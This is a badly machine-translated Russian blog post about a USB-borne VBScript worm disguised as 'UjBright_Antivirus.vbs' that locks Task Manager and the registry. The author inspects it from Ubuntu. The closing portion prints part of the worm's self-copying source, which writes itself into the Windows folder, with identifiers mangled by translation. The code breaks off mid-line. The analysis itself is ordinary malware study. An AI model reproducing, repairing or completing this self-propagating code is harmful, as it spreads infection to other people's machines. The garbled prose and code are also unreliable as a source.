Вирус стал Anitivirus

<р> После ложа время приема некоторые данные от профессора в колледже, я нажимаю мой JetFlash ездить в ее usbport. После появления процесс сканирования и закрывается. Я стал Удовлетворенный, я открываю myflash диск. Я нашел все данные relavent к моему профессор дал мне один ТАГТ я нашел один дополнительный файл. назван в качестве ридми файл. я, хотя оно является новым, то я открываю его и есть какая-то фигня написана в этом файле. Так что я удалить его. But..there это снова. Теперь iDelete его снова и снова спиной. Идо, знаю, что это такое, так что я открыть диспетчер задач.

Неа не открывается. поэтому я стараюсь MSconfig, реестр, но даже они блокируются каждый thingin мой компьютер. Это впечатляет. Не потому, что у меня есть работа, чтобы сделать или потому, что я сейчас начать любовь заразиться, но из-за того, что результат мастерить вокруг, наконец, я получил некоторый код. Так начинается мой жадность к изящной кода.

<Р> Это все будет происходить в окнах КНИ перезагрузите компьютер & ботинок в Linux (Ооо да, это прекрасная Ubuntu от DVD). Так что я Асесс или открывать файлы из окна здесь, сейчас, чтобы просмотреть system32 и проверить эти файлы.

Я также очень вставили зараженный флэш-диск обратно Агинского но не волнуйтесь, все, что делает, потому что он не может играть с моей прекрасной Linux. Теперь я Агинского Найдено три дополнительных файлов в приводе: Глупо ридми Ujbright_Antivirus.vbs Autorun.inf Было интересно для меня было то, что второй файл. В Tha я нашел сценарий, конечно. Я открываю его и найти его истинное програме логического построения в этом. В то время как wrriting выиграть сценарий, А суждено работать через некоторое время снова & снова & снова.

Но все это не было curroption но спасти свое существование и скопировать в каждой флешке он видел. Это было в сценарии в этом втором файле: On Error Resume Next Dim FSO, wscr, тс, scrText, выиграть, топор указан FSO = CreateObject ("Scripting.FileSystemObject") указан wscr = CreateObject ("WScript.Shell") победа = fso.GetSpecialFolder

(0) = TF WScript.ScriptFullName х = LCase (TF) Если MID (х, 4) = "UjBright_Antivirus.vbs" Тогда wscr.Run "explorer.exe" и fso.Getfile (TF) .Drive.Path End If Набор MyFile = fso.Getfile (TF) .OpenAsTextStream

(1) У До myFile.

AtEndOfStream scrText = scrText & myFile.ReadLine & vbCrLf Loop AX = fso.FileExists (выиграть & "\\ UjBright_Antivirus.vbs") Набор MyFile = FSO .CreateTextFile (победа и "\\ UjBright_Antivirus.vbs", правда) myFile.write scrText myFile.c